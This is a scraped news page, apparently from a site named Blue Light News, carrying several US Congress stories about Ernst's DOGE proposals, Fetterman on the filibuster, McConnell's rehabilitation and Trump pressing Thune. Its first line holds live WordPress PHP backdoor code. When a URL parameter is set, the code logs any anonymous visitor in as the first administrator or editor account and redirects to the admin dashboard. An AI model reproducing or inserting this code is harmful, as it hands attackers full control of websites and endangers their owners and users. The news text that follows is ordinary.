// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ernst pitches DOGE on spending cuts and savings – Blue Light News
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Congress

Ernst pitches DOGE on spending cuts and savings

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2 years ago

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Sen. Joni Ernst is pitching President-elect Donald Trump’s so-called Department of Government Efficiency on more than $2 trillion proposed cuts or savings— the latest example of GOP lawmakers embracing the commission.

Ernst (R-Iowa) sent a letter on Monday to Elon Musk and Vivek Ramaswamy, who Trump tapped to lead the out-of-government panel tasked with coordinating with the White House and Office of Management and Budget.

“Thank you for stepping up to take on the challenge of saving taxpayers from Washington’s out- of-control spending that put our nation $36 trillion in debt. Your mission could not be more urgent, and there’s no team better suited to lead the effort,” Ernst wrote in the letter, a copy of which was obtained by POLITICO.

Ernst added that, “to give you a head start,” she was pitching “ideas for trimming the fat and reducing red ink.” Among the ideas being pitched by Ernst: consolidating government office space and auctioning off unused space, changing the composition of the penny and curbing payments to the United Nations.

The letter comes after she met late last week with Ramaswamy at Mar-a-Lago and discussed her ideas to curb spending. Ernst also announced last week that she would start the Senate DOGE Caucus to work with Musk and Ramaswamy.

In a statement to Blue Light News, Ernst said, “It is long past time to put the federal government on a permanent diet.”

“I hope DOGE is sharpening their knives because I have a step-by-step plan to carve up waste, trim the fat, and turn Washington into a lean, efficient machine,” she added.

It’s the latest example of lawmakers embracing Trump’s decision to start DOGE, which he said in an announcement would “provide advice and guidance from outside of Government” to help “drive large scale structural reform, and create an entrepreneurial approach to Government never seen before.” Musk and Ramaswamy added in a Wall Street Journal op-ed that they would “serve as outside volunteers, not federal officials or employees.”

In addition to the Senate caucus, House Oversight Chair James Comer (R-Ky.) will create a new subcommittee led by Rep. Marjorie Taylor Greene (R-Ga.) to help coordinate with DOGE. The position comes after Greene met earlier this month with Speaker Mike Johnson to discuss her role within the conference.

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Congress

Fetterman says Democrats were ‘horribly wrong’ to try eliminating Senate filibuster

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July 27, 2026

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Sen. John Fetterman (D-Pa.) is backpedaling on his previous calls to eliminate the filibuster in the Senate — which is a critical bulwark against “a fill-in-the-blank government with new laws, deregulation or procedures of its choosing,” he wrote in a Washington Post op-ed published Monday.

“A Senate without the filibuster [would become] a Senate that ignored the voices of the minority and everyday people,” he wrote, elaborating on previous comments. Last month, he told Katie Miller that Democrats were “so wrong” about opposing the filibuster.

“We cannot become a smaller version of the House of Representatives,” he wrote in his op-ed.

In 2022, Fetterman campaigned to abolish the filibuster, a 60-vote rule that effectively requires a supermajority to pass most legislation. His argument on the trail — which remains on his campaign website as of Monday afternoon — was that the rule stood “in the way of getting things done for Pennsylvanians.”

At that time, many Senate Democrats and activists argued the same publicly, as the party attempted to pass a sweeping overhaul of elections that Democrats said would better protect voting rights. But two then-Democratic senators, Joe Manchin (W.Va.) and Kyrsten Sinema (Ariz.) — protested against throwing out the rule, saying it would hurt the party’s priorities in the long run.

Ultimately the filibuster survived and Democrats did not pass their voting rights bill, with much of the party base heaping scorn on Manchin and Sinema.

Now, with Republicans holding a government trifecta, the power dynamic has flipped.

President Donald Trump is now urging Republican senators to kill the filibuster, which has stalled passage of the SAVE America Act. He turned the screws on Majority Leader John Thune on Monday, demanding that Thune keep the Senate in session until the GOP-backed elections bill passes.

“John Thune should not allow the United States Senate to ‘leave town’ until it passes The Save America Act or, far better still, TERMINATES THE FILIBUSTER, where Republicans can then quickly pass everything they ever dreamed of,” Trump wrote in a Truth Social post.

The filibuster has been a block against GOP-championed causes, Fetterman argued: “We could have extreme policies such as nationwide abortion restrictions, backpedaling on LGBT rights, repeal of birthright citizenship and limited voting rights across the country. … Republicans could fundamentally change the entire government and country with a simple majority vote.”

With the midterms approaching, Democrats face a tight battle to win back the Senate. The next time they have a trifecta, the filibuster will — once again — be a thorn in the party’s side, complicating the passage of key priorities.

Democrats “will once again have to find common ground with our Republican colleagues,” Fetterman said. “We will need to abandon our worst impulses as a party and work together to find solutions to the problems Americans face.”

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McConnell to remain in rehab, will skip Fancy Farm picnic in Kentucky

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1 hour ago

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July 27, 2026

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Sen. Mitch McConnell (R-Ky.) announced Monday that he will remain in rehab as he continues to recover from a June fall that left him briefly unconscious.

In a statement, McConnell shared that he is “working hard” to return to a full schedule but remains in “intense physical therapy.”

The Office of the Attending Physician (OAP) confirmed that medical staff visit the senator daily to discuss “all aspects of his rehabilitation care” but added he is “not yet medically cleared to leave the rehab facility and return to office.”

“Since his discharge from hospital care, he has maintained a strenuous course of physical therapy and rehabilitation, including multiple sessions a day designed to rebuild strength and reduce the risk of future falls,” the OAP said. “His bout with childhood polio continues to be a significant factor in his mobility.”

McConnell, 84, was rushed to the hospital on June 14 following the fall and what he described as a “mild case of pneumonia.” In a letter to constituents earlier this month, he said that while he was briefly knocked unconscious, he did not suffer any broken bones, a stroke or a heart attack. It is unclear when McConnell was discharged.

But his continued rehab stay means McConnell will miss Kentucky’s premier political event: the annual Fancy Farm Picnic.

“There’s no place I’d rather be on the first Saturday in August than with the good people of western Kentucky, feasting on pork and mutton,” McConnell said Monday. “I hate that I’ll miss the fun this year, but I’m sending my best wishes to the St. Jerome community for a successful picnic.”

McConnell, who is retiring when his current term concludes in January, has faced a series of health challenges in recent years. In 2023, he froze twice while speaking to reporters. He has also experienced several other falls and, at one point, used a wheelchair as what his office called a precautionary measure.

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Congress

Trump tells Thune to keep Senate in session to pass SAVE America Act

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4 hours ago

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July 27, 2026

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President Donald Trump ramped up pressure Monday on Majority Leader John Thune, telling him to keep the Senate in session until a GOP election bill passes.

“John Thune should not allow the United States Senate to ‘leave town’ until it passes The Save America Act or, far better still, TERMINATES THE FILIBUSTER, where Republicans can then quickly pass everything they ever dreamed of,” Trump wrote in a Truth Social post Monday.

Democrats, he added, will nix the filibuster themselves when they regain power “and can’t believe how lucky they got with this Senate leadership. Remember, stupidity always brings LOSING & DEATH!”

Trump’s Truth Social post comes after he urged supporters last week to call Thune about the SAVE America Act, then said Friday that he wanted Senate Republicans to adopt a blueprint for a $95 billion party-line spending bill, which would include some election-related funding, before they leave town for the August recess as planned on Aug. 6.

Sens. Mike Lee (R-Utah) and Rick Scott (R-Fla.) said over the weekend that they believed the Senate should stay in town until the election bill is passed. Lee has previously called for the Senate to stay in session through prior recesses to pass the SAVE America Act but has not forced the issue on the floor.

Despite Trump’s pressure campaign, the elections bill doesn’t have the votes to pass the Senate and there isn’t enough support within the Senate Republican conference for nixing the filibuster, which requires 60 votes for most legislation to advance.

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